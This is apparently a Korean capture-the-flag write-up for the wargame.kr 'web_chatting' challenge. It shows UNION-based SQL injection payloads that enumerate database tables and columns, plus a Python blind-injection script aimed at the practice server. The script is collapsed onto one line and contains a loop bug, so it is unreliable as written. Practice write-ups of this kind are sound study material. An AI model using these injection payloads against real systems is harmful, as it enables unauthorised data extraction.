로그인하면 채팅 페이지가 뜬다



소스를 보면 

ni값을 확인해서 tni와 ni값이 다르면 chatview.php에 접근하는데

http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=1로 들어가보면

chatting기록들이 뜬다.

ni로 sql injection이 가능한데

처음에 blind sql injection인줄 알고 엄청 돌리다가 (되긴함)

돌리면서 union 넣어봣는데 됨..

가장 아래에 그 결과가 뜬다.


칼럼수 5개 맞춰주고

select table_name,1,2,3,4 from information_schema.tables;

select column_name,1,2,3,4 from information_schema.columns

select (column) from (table )


삽질했던

*** blind injection code


import http.client import string from urllib import parse def blind(q): con=http.client.HTTPConnection('wargame.kr:8080') head={'Cookie':'chat_id=admin&ci_session='} q=parse.quote(q) con.request('GET','/web_chatting/chatview.php?t=1&ni=if('+q+',1,@)',headers=head) res=con.getresponse().read() #print(res) return b'111111111111111' in res print(blind('1=1')) table_length=[] i=1 while(1): if not blind('(select length(table_name) from information_schema.tables limit {},1)>0'.format(i)): break for j in range(1,11): if blind('(select length(table_name) from information_schema.tables limit {},1)={}'.format(i,j)): table_length.append(j) print(j) break i+=1 print(table_length) table_name=[] arr='0123456789'+string.ascii_letters for i in range(len(table_length)): arr='' for j in range(table_length[i]): for a in arr: if blind('(select ascii(substring(table_name,{},1)) from information_schema.tables limit {},1)={}'.format(j,i,ord(a))): arr+=a table_name.append(arr) print(table_name)


'war game > wargame.kr' 카테고리의 다른 글

[wargame.kr]lonely_guys  (0) 2017.03.02
[wargame.kr]dmbs335  (0) 2017.02.25
[wargame.kr]simple board  (0) 2017.02.24
[wargame.kr]md5_password  (0) 2017.02.24
[wargame.kr]dun_worry_about_the_vase - oracle padding attack  (0) 2017.02.20

+ Recent posts